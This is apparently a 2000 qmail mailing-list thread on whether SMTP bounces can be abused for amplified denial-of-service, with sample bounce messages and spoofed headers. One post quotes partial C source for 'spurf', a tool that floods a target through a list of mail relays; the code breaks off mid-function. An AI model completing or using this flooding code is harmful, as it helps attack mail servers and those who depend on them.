Re: SMTP in distributed DOS

[Dirk Harms-Merbitz]

What information do you gain from a successfull delivery? You
don't know if anybody will read it. It could have gotten 
caught in a mail filter. Somebody could have messed up their
email client.

Failed messages should silently disappear. If you need to check
the spelling off the email address then a directory service
should be used.

People know when people don't email messages. 

Dirk

On Thu, Mar 02, 2000 at 08:26:32PM -0800, Racer X wrote:
> - Original Message -
> From: "Dirk Harms-Merbitz" <[EMAIL PROTECTED]>
> To: <[EMAIL PROTECTED]>
> Sent: Thu 2 Mar 2000 16:34
> Subject: Re: SMTP in distributed DOS
> 
> > Neither bouncing messages nor return receipts make sense for
> > ordinary messages. And for registered messages one needs
> > authentication and encryption anyway.
> 
> Bounces don't make sense?  What other mechanism do you propose for
> signaling a failed delivery?
> 
> [DOS rant deleted]
> 
> As Russ said, there are far more effective and less traceable DOS
> attacks than this.  Even legitimate email could be used as a "DOS
> attack"; what can we do to stop that?  The truth is we don't worry about
> it.  The value of legitimate email is much, much higher than the
> (comparatively minor) burden of receiving a bunch of crap.
> 
> > Somebody is going to write a program that does something like
> > this. We might as well turn bounces off now before that happens.
> 
> I'd hazard a guess that you'd be violating some RFC.  Even if you
> weren't, what should happen to failed messages?  They just get sent to
> the bit bucket and disappear?
> 
> > I don't think that it is the mail server's place to divulge
> > which addresses are valid and which are not.
> 
> Perhaps you should have a live postmaster read all bounces then before
> returning to sender.
> 
> shag
> =
> Judd Bourgeois|   CNM Network  +1 (805) 520-7170
> Software Architect|   1900 Los Angeles Avenue, 2nd Floor
> [EMAIL PROTECTED]   |   Simi Valley, CA 93065
> 
> Quidquid latine dictum sit, altum viditur.
> 
> 
> 

Re: SMTP in distributed DOS

[Racer X]

- Original Message -
From: "Dirk Harms-Merbitz" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Thu 2 Mar 2000 16:34
Subject: Re: SMTP in distributed DOS

> Neither bouncing messages nor return receipts make sense for
> ordinary messages. And for registered messages one needs
> authentication and encryption anyway.

Bounces don't make sense?  What other mechanism do you propose for
signaling a failed delivery?

[DOS rant deleted]

As Russ said, there are far more effective and less traceable DOS
attacks than this.  Even legitimate email could be used as a "DOS
attack"; what can we do to stop that?  The truth is we don't worry about
it.  The value of legitimate email is much, much higher than the
(comparatively minor) burden of receiving a bunch of crap.

> Somebody is going to write a program that does something like
> this. We might as well turn bounces off now before that happens.

I'd hazard a guess that you'd be violating some RFC.  Even if you
weren't, what should happen to failed messages?  They just get sent to
the bit bucket and disappear?

> I don't think that it is the mail server's place to divulge
> which addresses are valid and which are not.

Perhaps you should have a live postmaster read all bounces then before
returning to sender.

shag
=
Judd Bourgeois|   CNM Network  +1 (805) 520-7170
Software Architect|   1900 Los Angeles Avenue, 2nd Floor
[EMAIL PROTECTED]   |   Simi Valley, CA 93065

Quidquid latine dictum sit, altum viditur.

Re: SMTP in distributed DOS

[Russ Allbery]

Dirk Harms-Merbitz <[EMAIL PROTECTED]> writes:

> Neither bouncing messages nor return receipts make sense for ordinary
> messages.

I disagree.

> 1) Hacker uses a tool to root compromise a few thousand home
>computers.

At which point they launch a smurf attack, which is considerably less
traceable and less preventable than what you're proposing.

Once that problem is solved, then I'll worry about this.

> 4) Amplification is very high. You send 100 bytes to generate a
>2000 byte error message. That's 2000%. 

>Even worse, how do you ever trace this back or make it stop?

Received points you directly at the compromised hosts, making this
inherently inferior from the cracker's standpoint than any attack which
can be performed with forged source addresses.

-- 
Russ Allbery ([EMAIL PROTECTED]) 

Re: SMTP in distributed DOS

[Dirk Harms-Merbitz]

Neither bouncing messages nor return receipts make sense for
ordinary messages. And for registered messages one needs
authentication and encryption anyway.

As far as DOS is concerned, amplification is much much higher.

The problem is this:

1) Hacker uses a tool to root compromise a few thousand home
   computers.

2) Hacker installs a little program that sends empty emails with 
   your email address as return address to a selection of the
   top 500 best connected mail hosts. It only sends a few hundred
   to a few thousand emails at a time and then sleeps for a random
   interval.

3) The well connected machines dutifully delivers bounce messages
   to your mail server. 

4) Amplification is very high. You send 100 bytes to generate a
   2000 byte error message. That's 2000%. 

   Even worse, how do you ever trace this back or make it stop?

Somebody is going to write a program that does something like
this. We might as well turn bounces off now before that happens.

I don't think that it is the mail server's place to divulge
which addresses are valid and which are not.

Dirk

On Thu, Mar 02, 2000 at 03:18:25PM -0800, Russ Allbery wrote:
> Pavel Kankovsky <[EMAIL PROTECTED]> writes:
> 
> > The error message is quite long. In fact, it is probably longer than
> > most email addresses, even with additional "rcpt to:". If you send an
> > empty message to many bogus recipients (limited only by the amount of
> > virtual memory available to qmail-remote), you can get > 100%
> > amplification easily (compared to your own network traffic).
> 
> 100% amplification isn't particularly interesting.  Most of the existing
> DoS attacks give you an order of magnitude of amplification or more.
> 
> -- 
> Russ Allbery ([EMAIL PROTECTED]) 

Re: SMTP in distributed DOS

[Russ Allbery]

Pavel Kankovsky <[EMAIL PROTECTED]> writes:

> The error message is quite long. In fact, it is probably longer than
> most email addresses, even with additional "rcpt to:". If you send an
> empty message to many bogus recipients (limited only by the amount of
> virtual memory available to qmail-remote), you can get > 100%
> amplification easily (compared to your own network traffic).

100% amplification isn't particularly interesting.  Most of the existing
DoS attacks give you an order of magnitude of amplification or more.

-- 
Russ Allbery ([EMAIL PROTECTED]) 

Re: SMTP in distributed DOS

[Pavel Kankovsky]

On Thu, 2 Mar 2000, James Raftery wrote:

> Each additional failure adds a few bytes. Not exactly earth-shattering :)

Let's assume only a single bounce message is generated.

It consists of three parts:
1. headers and some text
2. the list of address and error messages
3. the copy of the original message

Let's look at 2:
> <[EMAIL PROTECTED]>:
> Sorry, no mailbox here by that name. (#5.1.1)

The error message is quite long. In fact, it is probably longer than most
email addresses, even with additional "rcpt to:". If you send an empty
message to many bogus recipients (limited only by the amount of virtual
memory available to qmail-remote), you can get > 100% amplification easily
(compared to your own network traffic).

--Pavel Kankovsky aka Peak  [ Boycott Microsoft--http://www.vcnet.com/bms ]
"Resistance is futile. Open your source code and prepare for assimilation."

Re: SMTP in distributed DOS

[Bruno Wolff III]

On Thu, Mar 02, 2000 at 03:06:16PM +0100,
  [EMAIL PROTECTED] wrote:
> On Thu, Mar 02, 2000 at 08:03:04AM -0600, Bruno Wolff III wrote:
> > On Thu, Mar 02, 2000 at 02:53:41PM +0100,
> >   [EMAIL PROTECTED] wrote:
> > > 
> > > You're missing a point: the message is sent with a couple of 100 recipients.
> > > All these recipients will bounce the message - separately. There's your
> > > amplification :)
> > 
> > This is a gain if you are sending the original message through a small pipe
> > to a mail server that has better connectivity and will relay for you.
> 
> Which is my point :)

This circumstance isn't very important. If this is done through your
connection you are going to get into trouble. If it is somebody else's
than you have to first break into their system. The amplification is
significant if it is a lot easier to break into limited systems with
limited bandwidth that have well connected mail servers willing to relay
for them and the mail server doing the relaying will distinguish between
addresses that will result in email going to the same destination (which
isn't always possible) and only send one copy of a message to that host.

I do think that qmail would be better if it could refuse some invalid
addresses without accepting responsibility for a message first. However
it isn't because of using the server for DOS attacks, but rather to
ease the burden on the postmaster of handling double bounced spam.

Re: SMTP in distributed DOS

[petervd]

On Thu, Mar 02, 2000 at 02:15:19PM +, James Raftery wrote:
> On Thu, Mar 02, 2000 at 02:53:41PM +0100, [EMAIL PROTECTED] wrote:
> > You're missing a point: the message is sent with a couple of 100 recipients.
> > All these recipients will bounce the message - separately.
> 
> No it doesn't :) Try it (with qmail, of course) One message with failed
> deliveries results in *one* bounce message with a list of the failures
> enclosed. [See below]

What you really want is to have one mailserver deliver your one mail to
MXes for all those recipients, and then have those MXes bounce them
_theirselves_ - because they're qmail-servers, for example :)

Greetz, Peter.
-- 
Peter van Dijk - student/sysadmin/ircoper/madly in love/pretending coder 
|  
| 'C makes it easy to shoot yourself in the foot;
|  C++ makes it harder, but when you do it blows your whole leg off.'
| Bjarne Stroustrup, Inventor of C++

Re: SMTP in distributed DOS

[James Raftery]

On Thu, Mar 02, 2000 at 02:53:41PM +0100, [EMAIL PROTECTED] wrote:
> You're missing a point: the message is sent with a couple of 100 recipients.
> All these recipients will bounce the message - separately.

No it doesn't :) Try it (with qmail, of course) One message with failed
deliveries results in *one* bounce message with a list of the failures
enclosed. [See below]

> There's your amplification :)

Each additional failure adds a few bytes. Not exactly earth-shattering :)

james
-- 
James Raftery (JBR54)  -  Programmer Hostmaster  -  IE TLD Hostmaster
  IE Domain Registry, University College Dublin Computing Services,
  Computer Centre, Belfield, Dublin 4, Ireland.
http://www.domainregistry.ie/ Ph: (+353 1) 7062375 Fx: (+353 1) 7062862


>From MAILER-DAEMON Thu Mar 02 14:10:57 2000
Return-Path: <>
Delivered-To: [EMAIL PROTECTED]
Received: (qmail 14057 invoked for bounce); 2 Mar 2000 14:10:57 -
Date: 2 Mar 2000 14:10:57 -
From: [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Subject: failure notice
Status: RO
Content-Length: 1202
Lines: 35

Hi. This is the qmail-send program at banba.domainregistry.ie.
I'm afraid I wasn't able to deliver your message to the following addresses.
This is a permanent error; I've given up. Sorry it didn't work out.

<[EMAIL PROTECTED]>:
Sorry, no mailbox here by that name. (#5.1.1)

<[EMAIL PROTECTED]>:
Sorry, no mailbox here by that name. (#5.1.1)

<[EMAIL PROTECTED]>:
Sorry, no mailbox here by that name. (#5.1.1)

--- Below this line is a copy of the message.

Return-Path: <[EMAIL PROTECTED]>
Received: (qmail 14050 invoked by uid 510); 2 Mar 2000 14:10:56 -
Date: Thu, 2 Mar 2000 14:10:56 +
From: James Raftery <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED]
Cc: [EMAIL PROTECTED], [EMAIL PROTECTED]
Subject: Bouncy, bouncy
Message-ID: <[EMAIL PROTECTED]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0i


Hmm

-- 
James Raftery (JBR54)  -  Programmer Hostmaster  -  IE TLD Hostmaster
  IE Domain Registry, University College Dublin Computing Services,
  Computer Centre, Belfield, Dublin 4, Ireland.
http://www.domainregistry.ie/ Ph: (+353 1) 7062375 Fx: (+353 1) 7062862

Re: SMTP in distributed DOS

[petervd]

On Thu, Mar 02, 2000 at 08:03:04AM -0600, Bruno Wolff III wrote:
> On Thu, Mar 02, 2000 at 02:53:41PM +0100,
>   [EMAIL PROTECTED] wrote:
> > 
> > You're missing a point: the message is sent with a couple of 100 recipients.
> > All these recipients will bounce the message - separately. There's your
> > amplification :)
> 
> This is a gain if you are sending the original message through a small pipe
> to a mail server that has better connectivity and will relay for you.

Which is my point :)

Greetz, Peter.
-- 
Peter van Dijk - student/sysadmin/ircoper/madly in love/pretending coder 
|  
| 'C makes it easy to shoot yourself in the foot;
|  C++ makes it harder, but when you do it blows your whole leg off.'
| Bjarne Stroustrup, Inventor of C++

Re: SMTP in distributed DOS

[Bruno Wolff III]

On Thu, Mar 02, 2000 at 02:53:41PM +0100,
  [EMAIL PROTECTED] wrote:
> 
> You're missing a point: the message is sent with a couple of 100 recipients.
> All these recipients will bounce the message - separately. There's your
> amplification :)

This is a gain if you are sending the original message through a small pipe
to a mail server that has better connectivity and will relay for you.

Re: SMTP in distributed DOS

[Bruno Wolff III]

On Thu, Mar 02, 2000 at 11:34:11AM -,
  Lorens Kockum <[EMAIL PROTECTED]> wrote:
> On the qmail list [EMAIL PROTECTED] wrote:
> >At 11:04 AM 2/20/00 -0800, Dirk Harms-Merbitz wrote:
> >>Just imagine what happens when some script kiddie uses a few ten
> >>thousand trojaned cable/dsl connected home computers to send email
> >>to tens of thousands of domains and they all bounce back to your
> >>mail server!
> >
> >Those hosts would need to be open relays.
> 
> No they do not need to be open relays.  If they are qmail
> servers that is perfect for the purpose.

You can use any system that won't know whether or not the message can be
delivered while processing the smtp transaction.

This would include MX's that don't do final deliverly and addresses that
result in failure at final deliverly (procmail rejections) under sendmail.

Other problems are autoresponders including trouble ticket responders and
vacation responders. Even rate limited vacation responders can probably
be tricked in to repeated sending mail to an address, as very few are really
aware of what the email address is, and only handle an encoded representation
of the address.

However none of these attacks gives much amplification. It may provide
some anonymity if the bounce or automated response doesn't include tracking
information from the original message.

The people most effected by MTA's that can't bounce email at the site
boundry are the postmasters. I have to wade through a lot of spam double
bounces here because messages typically come in on a different machine
than the one where the end users account is, so mail doesn't get bounced
until after one of our servers has accepted responsibility for the email.

Re: SMTP in distributed DOS

[petervd]

On Thu, Mar 02, 2000 at 01:49:32PM +, James Raftery wrote:
> On Thu, Mar 02, 2000 at 11:34:11AM -, Lorens Kockum wrote:
> > No they do not need to be open relays.  If they are qmail
> > servers that is perfect for the purpose.
> 
> Why? There is no appreciable gain. To be effective the attacker needs to
> send a small amount of traffic, which is amplified by a large factor and
> directed to the victim.
> 
> Sending a 1K message to qmail with the intention of it bouncing to your
> victim yields a bounce with your original 1K message plus ~200 bytes of
> the QSBMF bounce message. If you get a 10K message to bounce, you yield
> 10K plus ~200 bytes. Those gains are too low to be useful.

You're missing a point: the message is sent with a couple of 100 recipients.
All these recipients will bounce the message - separately. There's your
amplification :)

Greetz, Peter.
-- 
Peter van Dijk - student/sysadmin/ircoper/madly in love/pretending coder 
|  
| 'C makes it easy to shoot yourself in the foot;
|  C++ makes it harder, but when you do it blows your whole leg off.'
| Bjarne Stroustrup, Inventor of C++

Re: SMTP in distributed DOS

[James Raftery]

On Thu, Mar 02, 2000 at 11:34:11AM -, Lorens Kockum wrote:
> No they do not need to be open relays.  If they are qmail
> servers that is perfect for the purpose.

Why? There is no appreciable gain. To be effective the attacker needs to
send a small amount of traffic, which is amplified by a large factor and
directed to the victim.

Sending a 1K message to qmail with the intention of it bouncing to your
victim yields a bounce with your original 1K message plus ~200 bytes of
the QSBMF bounce message. If you get a 10K message to bounce, you yield
10K plus ~200 bytes. Those gains are too low to be useful.


james
-- 
James Raftery (JBR54)  -  Programmer Hostmaster  -  IE TLD Hostmaster
  IE Domain Registry, University College Dublin Computing Services,
  Computer Centre, Belfield, Dublin 4, Ireland.
http://www.domainregistry.ie/ Ph: (+353 1) 7062375 Fx: (+353 1) 7062862

Re: SMTP in distributed DOS

[Lorens Kockum]

On the qmail list [EMAIL PROTECTED] wrote:
>At 11:04 AM 2/20/00 -0800, Dirk Harms-Merbitz wrote:
>>Just imagine what happens when some script kiddie uses a few ten
>>thousand trojaned cable/dsl connected home computers to send email
>>to tens of thousands of domains and they all bounce back to your
>>mail server!
>
>Those hosts would need to be open relays.

No they do not need to be open relays.  If they are qmail
servers that is perfect for the purpose.

Re: SMTP in distributed DOS

[Vincent Schonau]

At 11:04 AM 2/20/00 -0800, Dirk Harms-Merbitz wrote:
>SMTP bounces can be used in yet another form of Denial Of Service attack.

This is nothing new.


>Just imagine what happens when some script kiddie uses a few ten
>thousand trojaned cable/dsl connected home computers to send email
>to tens of thousands of domains and they all bounce back to your
>mail server!

Those hosts would need to be open relays.


>Why don't we all just turn SMTP bounces OFF? Like return-receipts,
>the information content in bounces is very low.

I disagree. If my domainname is being forged in a spam, I'd like
to know about it. Bounces will get to me hours before any of the
complaints do.


>A database would be much more efficient if you just want to know
>wether an email address is spelled correctly. Resending the entire
>message after adding a few hundred bytes is just idiotic. Escpecially
>if the attacker only has to send one message to generate 100 bounces.

I don't see how 'a database' would solve this problem. How would a
sending mailserver know who to ask? And what would it do when the
emailaddress doesn't exist?


>We are currently seeing this first hand: Our real mail.power.net is
>at 207.151.19.8. The attacker is sending individualized emails with
>faked headers that contain "mail.power.net (unverified [209.26.14.22])".
>
>The recipient computers are dumb enough to send their bounces to
>the real mail.power.net.

You don't show the return-path, but they're also forging From:, and
one of those is causing your bounces, not the Received: line.


>This is a DOS because the innocent mail server a) gets millions of
>bounces and

Agreed. Relay-rape is criminal.

>b) might get black listed on various "anti-spam" lists.

Any admin that would blacklist mail.power.net on the basis of the
header below might as well turn SMTP off altogether.

Blocking the open relays used in the spam will alleviate some of
the load; mee.yjapt.co.kr is in RSS and ORBS.


>Dirk
>
>
>Received: from mail.power.net (unverified [209.26.14.22]) by mee.yjapt.co.kr
>  (EMWAC SMTPRS 0.83) with SMTP id <[EMAIL PROTECTED]>;
>  Mon, 21 Feb 2000 01:20:18 +0900
>Message-ID: <[EMAIL PROTECTED]>
>From: [EMAIL PROTECTED] <[EMAIL PROTECTED]>
>Bcc:
>Subject: Private Consultants Needed for Venture Capital Firm
>Date: Mon, 30 Mar 1998 10:04:48 -0400 (EDT)

Vince.

Re: SMTP in distributed DOS

[Omachonu Ogali]

This was probably used:

/*
 * spurf 0.1
 * =
 * fuck packeting, spam them to hell, jersey, and back
 * - missnglnk <[EMAIL PROTECTED]>
 *   greets: ging3r, sectorx, tino, arakis, phonz, cypherus, cyberops,
 *   gated, ti, moo, nivfreak, any #include kids i missed.
 * =
 * THOU SHALT CRASH AND BURN IF THOU USETH THIS FOR NONBIBLICAL
 * PURPOSES. THY ASS SHALL BE REAMED 777 TIMES BY YOUR FAITHFUL
 * LORD AND SAVIOR, BUBBA.
 * (you get the drift)
 * =
 * I'm not cool enough for the parties, so I sit at home and
 * find ways to piss off those who are. While coding, I mapped
 * out all the possible situations I might have faced if I tried
 * to go to a party I wasn't invited to, mainly to make myself
 * feel better. E-mail future party invitations to
 * [EMAIL PROTECTED], I'll gladly accept
 * government parties or *gasp* CORPORATE SCUM invitations.
 * 
 */

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define RANDOM_DATA "/dev/urandom"
extern int errno;

void usage(void)
{
printf("spurf [-t target] [-f relays] [-n messages] [-s size]\n");
exit(-1);
}

int main(int argc, char **argv)
{
int args;
char *target;
char *relayfile;
int msgcnt;
int msglen;
FILE *relays;
char relay[MAXHOSTNAMELEN];

printf("spurf 0.1 by missnglnk\n");
printf("http://tribune.intranova.net\n\n");

if (argc < 2) {
usage();
}

target = NULL;
relayfile = NULL;
msgcnt = -1;
msglen = -1;

while ((args = getopt(argc, argv, "t:f:n:s:")) != -1) {
switch(args) {
case 't':
if (strlen(optarg) > 128) {
printf("[spurf]\tridiculous email 
address\n\n");
return -1;
}

target = optarg;
break;
case 'f':
relayfile = optarg;
break;
case 'n':
msgcnt = atoi(optarg);
break;
case 's':
msglen = atoi(optarg);
if (msglen < 128) {
printf("[spurf]\tridiculous size\n\n");
return -1;
}
break;
case '?':
default:
usage();
break;
}
}

argc -= optind;
argv -= optind;

if (target == NULL || relayfile == NULL || msgcnt == -1 || msglen == -1) {
printf("[spurf]\tyou have no clue about tonight's party\n");
printf("[error]\tmissing arguments\n\n");
usage();
}

if ((relays = fopen(relayfile, "r")) == NULL) {
printf("[spurf]\tyou cant pick the lock on johnny cool's locker\n");
printf("[error]\t%s\n\n", strerror(errno));
return -1;
}

while (fgets(relay, MAXHOSTNAMELEN, relays) != NULL) {
relay[strlen(relay) - 1] = NULL;
if (spurf(target, relay, msgcnt, msglen) == -1) {
printf("[spurf]\t%s failed\n\n", relay);
}
}

if (fclose(relays) < 0) {
printf("[spurf]\tyou and your bloody, loose ass walk past the village 
people\n");
printf("[error]\t%s\n\n", relayfile, strerror(errno));
return -1;
}

return 0;
}

int spurf(char *target, char *relay, int msgnum, int msglen)
{
FILE *randfile;
int i;
int sock;
char *randdata;
char rcvbuf[1024];
char msgline[msglen];
struct hostent *he;
unsigned long ip;
struct sockaddr_in sin;

if ((randdata = malloc(msglen)) == NULL) {
printf("[spurf]\tyou get caught stealing an invitation\n");
printf("[error]\t%s\n", msglen, strerror(errno));
return -1;
}

if ((he = gethostbyname(relay)) != NULL) {
ip = *(unsigned long *)he->h_addr;
} else {
if ((ip = inet_addr(relay)) == NULL) {
printf("[spurf]\tgot caught making copies at kinko's\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}
}

bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = ip;
sin.sin_por

Re: SMTP in distributed DOS

[Steve Sobol]

Michael Shields wrote:

> In article <[EMAIL PROTECTED]>,
> Dirk Harms-Merbitz <[EMAIL PROTECTED]> wrote:
> > Why don't we all just turn SMTP bounces OFF? Like return-receipts,
> > the information content in bounces is very low.
>
> MTAs must not silently drop mail.  Mail is precious.

Not to mention that if there's a legitimate problem, how are you going
to fix
it if you don't know about it?


--
North Shore Technologies, Cleveland, OH
http://NorthShoreTechnologies.net
Steve Sobol, President, Chief Website Architect and Janitor
[EMAIL PROTECTED] - 888.480.4NET - 216.619.2NET

RE: SMTP in distributed DOS

[Greg Owen]

> This is obviously a bounce generated by qmail running on 
> challah.msrl.com  which I believe does not belong to AOL,
> or does it?
> 
> I have also teh feeling that AOL silently drops error messages...

You're misreading the bounce.  Read the part where the bounce
actually occurs, as follows:

<[EMAIL PROTECTED]>:
205.188.156.130 does not like recipient.
Remote host said: 550 MAILBOX NOT FOUND
Giving up on 205.188.156.130.

Now do a reverse lookup on 205.188.156.130 and you get:

> set type=ptr
> 205.188.156.130
130.156.188.205.in-addr.arpaname = rly-yc02.mx.aol.com 

So, rly-yc02.mx.aol.com replied with a "550 MAILBOX NOT FOUND."
That's not silently dropping, that's bouncing.

-- 
gowen -- Greg Owen -- [EMAIL PROTECTED]

Re: SMTP in distributed DOS

[Adam McKenna]

On Mon, Feb 21, 2000 at 06:30:43PM +0100, Robert Sander wrote:
> This is obviously a bounce generated by qmail running on challah.msrl.com 
> which I believe does not belong to AOL, or does it?
> 
> I have also teh feeling that AOL silently drops error messages...

You have "a feeling" about something that is easily testable?  Did you think
about maybe testing it?

The original message was received at Mon, 21 Feb 2000 13:23:02 -0500 (EST)
from virtual-estate.net [207.99.50.34]


*** ATTENTION ***

Your e-mail is being returned to you because there was a problem with its
delivery.  The AOL address which was undeliverable is listed in the section
labeled: "- The following addresses had permanent fatal errors -".

The reason your mail is being returned to you is listed in the section
labeled: "- Transcript of Session Follows -".

The line beginning with "<<<" describes the specific reason your e-mail could
not be delivered.  The next line contains a second error message which is a
general translation for other e-mail servers.

Please direct further questions regarding this message to your e-mail
administrator.

--AOL Postmaster



   - The following addresses had permanent fatal errors -
   <[EMAIL PROTECTED]>

  - Transcript of session follows -
  ... while talking to air-zd04.mail.aol.com.:
  >>> RCPT To:<[EMAIL PROTECTED]>
  <<< 550 MAILBOX NOT FOUND
  550 <[EMAIL PROTECTED]>... User unknown

Re: SMTP in distributed DOS

[Brian Johnson]

I have in the past recieved a bounce message from aol (actually from one of
their servers) when I tried to e-mail a non-exsistant user.  It's likely, with
aol's huge userbase, that a mistyped name would match someone elses username
though, and then that person would probably ignore the message, and then it'd
seen that aol dropped the message when it should've bounced it when it really
was delivered, just to the wrong person...  just a thought..
  -Brian

Robert Sander wrote:

> This is obviously a bounce generated by qmail running on challah.msrl.com
> which I believe does not belong to AOL, or does it?
>
> I have also teh feeling that AOL silently drops error messages...

Re: SMTP in distributed DOS

[Robert Sander]

On Mon, Feb 21, 2000 at 05:18:55PM +, Michael Shields wrote:
> 
> Return-Path: <>
> Delivered-To: [EMAIL PROTECTED]
> Received: (qmail 15733 invoked by alias); 21 Feb 2000 17:17:31 -
> Delivered-To: [EMAIL PROTECTED]
> Received: (qmail 15730 invoked for bounce); 21 Feb 2000 17:17:30 -
> Date: 21 Feb 2000 17:17:30 -
> From: [EMAIL PROTECTED]
> To: [EMAIL PROTECTED]
> Subject: failure notice
> Lines: 29
> Xref: challah.msrl.com MSRL.COM:10378

This is obviously a bounce generated by qmail running on challah.msrl.com 
which I believe does not belong to AOL, or does it?

I have also teh feeling that AOL silently drops error messages...

-- 
Robert Sander www.gurubert.de

Re: SMTP in distributed DOS

[Michael Shields]

> AOL's MTAs silently drop mail instead of denying it at the border.

No, they don't:

Return-Path: <>
Delivered-To: [EMAIL PROTECTED]
Received: (qmail 15733 invoked by alias); 21 Feb 2000 17:17:31 -
Delivered-To: [EMAIL PROTECTED]
Received: (qmail 15730 invoked for bounce); 21 Feb 2000 17:17:30 -
Date: 21 Feb 2000 17:17:30 -
From: [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Subject: failure notice
Lines: 29
Xref: challah.msrl.com MSRL.COM:10378

Hi. This is the qmail-send program at challah.msrl.com.
I'm afraid I wasn't able to deliver your message to the following addresses.
This is a permanent error; I've given up. Sorry it didn't work out.

<[EMAIL PROTECTED]>:
205.188.156.130 does not like recipient.
Remote host said: 550 MAILBOX NOT FOUND
Giving up on 205.188.156.130.

--- Below this line is a copy of the message.

Return-Path: <[EMAIL PROTECTED]>
Received: (qmail 15728 invoked by uid 1000); 21 Feb 2000 17:17:10 -
Sender: [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Subject: test
From: Michael Shields <[EMAIL PROTECTED]>
Organization: Mad Science Research Labs
Date: 21 Feb 2000 17:17:10 +
Message-ID: <[EMAIL PROTECTED]>
Lines: 3
User-Agent: Gnus/5.0803 (Gnus v5.8.3) XEmacs/21.1 (Bryce Canyon)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii


-- 
Shields.


-- 
Shields.

Re: SMTP in distributed DOS

[Deepak Jain]

AOL's MTAs silently drop mail instead of denying it at the border.

Deepak Jain

On 21 Feb 2000, Michael Shields wrote:

> 
> In article <[EMAIL PROTECTED]>,
> Dirk Harms-Merbitz <[EMAIL PROTECTED]> wrote:
> > Why don't we all just turn SMTP bounces OFF? Like return-receipts,
> > the information content in bounces is very low.
> 
> MTAs must not silently drop mail.  Mail is precious.
> -- 
> Shields.
> 
> 

Re: SMTP in distributed DOS

[Mark Mentovai]

Michael Shields wrote:
>In article <[EMAIL PROTECTED]>,
>Dirk Harms-Merbitz <[EMAIL PROTECTED]> wrote:
>> Why don't we all just turn SMTP bounces OFF? Like return-receipts,
>> the information content in bounces is very low.
>
>MTAs must not silently drop mail.  Mail is precious.

But a portion of the message could be bounced - enough to contain the
headers and a chunk of a reasonably-sized body.  I modified qmail-send to
return only the first 4kB of a message as part of a bounce.  That's enough
to catch all the headers and part (often all) of the body.

As far as I can tell, this isn't in violation of any standards.  It deviates
from the most common practice, although other sites bounce only parts of the
message, as I am doing.  Example 7 in RFC 821 doesn't even give the headers
of a dropped message, it just says "message lost, no such user."

Mark

-- 
Do not reply directly to this e-mail address
-- 
Mark Mentovai
GGN NOC System Administrator

Re: SMTP in distributed DOS

[Michael Shields]

In article <[EMAIL PROTECTED]>,
Dirk Harms-Merbitz <[EMAIL PROTECTED]> wrote:
> Why don't we all just turn SMTP bounces OFF? Like return-receipts,
> the information content in bounces is very low.

MTAs must not silently drop mail.  Mail is precious.
-- 
Shields.

Re: SMTP in distributed DOS

[Deepak Jain]

Not exactly a solution, but a fix is using a program like SpamProtect or
SpamControl (even on a server that is not open to relays). Our mail
servers will locally blackhole IPs from mail servers sending us far too
much mail in far too short a time period. Certain large mail servers have
higher thresholds. 

In the unlikely case a server (or several) are blackholed, our NOC is
notified by the mail server for a human-intervention decision. 

This does not break legitimate SMTP mail, except possibly from the abused
mail servers, and is context-sensitive filtering.

Deepak Jain
AiNET

On Sun, 20 Feb 2000, Dirk Harms-Merbitz wrote:

> 
> SMTP bounces can be used in yet another form of Denial Of Service attack.
> 
> Just imagine what happens when some script kiddie uses a few ten
> thousand trojaned cable/dsl connected home computers to send email
> to tens of thousands of domains and they all bounce back to your
> mail server!
> 
> Why don't we all just turn SMTP bounces OFF? Like return-receipts,
> the information content in bounces is very low.
> 
> A database would be much more efficient if you just want to know
> wether an email address is spelled correctly. Resending the entire
> message after adding a few hundred bytes is just idiotic. Escpecially
> if the attacker only has to send one message to generate 100 bounces.
> 
> We are currently seeing this first hand: Our real mail.power.net is
> at 207.151.19.8. The attacker is sending individualized emails with
> faked headers that contain "mail.power.net (unverified [209.26.14.22])".
> 
> The recipient computers are dumb enough to send their bounces to
> the real mail.power.net.
> 
> This is a DOS because the innocent mail server a) gets millions of
> bounces and b) might get black listed on various "anti-spam" lists.
> 
> Dirk
> 
> 
> Received: from mail.power.net (unverified [209.26.14.22]) by mee.yjapt.co.kr
>  (EMWAC SMTPRS 0.83) with SMTP id <[EMAIL PROTECTED]>;
>  Mon, 21 Feb 2000 01:20:18 +0900
> Message-ID: <[EMAIL PROTECTED]>
> From: [EMAIL PROTECTED] <[EMAIL PROTECTED]>
> Bcc:
> Subject: Private Consultants Needed for Venture Capital Firm
> Date: Mon, 30 Mar 1998 10:04:48 -0400 (EDT) 
> 
> 

SMTP in distributed DOS

[Dirk Harms-Merbitz]

SMTP bounces can be used in yet another form of Denial Of Service attack.

Just imagine what happens when some script kiddie uses a few ten
thousand trojaned cable/dsl connected home computers to send email
to tens of thousands of domains and they all bounce back to your
mail server!

Why don't we all just turn SMTP bounces OFF? Like return-receipts,
the information content in bounces is very low.

A database would be much more efficient if you just want to know
wether an email address is spelled correctly. Resending the entire
message after adding a few hundred bytes is just idiotic. Escpecially
if the attacker only has to send one message to generate 100 bounces.

We are currently seeing this first hand: Our real mail.power.net is
at 207.151.19.8. The attacker is sending individualized emails with
faked headers that contain "mail.power.net (unverified [209.26.14.22])".

The recipient computers are dumb enough to send their bounces to
the real mail.power.net.

This is a DOS because the innocent mail server a) gets millions of
bounces and b) might get black listed on various "anti-spam" lists.

Dirk


Received: from mail.power.net (unverified [209.26.14.22]) by mee.yjapt.co.kr
 (EMWAC SMTPRS 0.83) with SMTP id <[EMAIL PROTECTED]>;
 Mon, 21 Feb 2000 01:20:18 +0900
Message-ID: <[EMAIL PROTECTED]>
From: [EMAIL PROTECTED] <[EMAIL PROTECTED]>
Bcc:
Subject: Private Consultants Needed for Venture Capital Firm
Date: Mon, 30 Mar 1998 10:04:48 -0400 (EDT)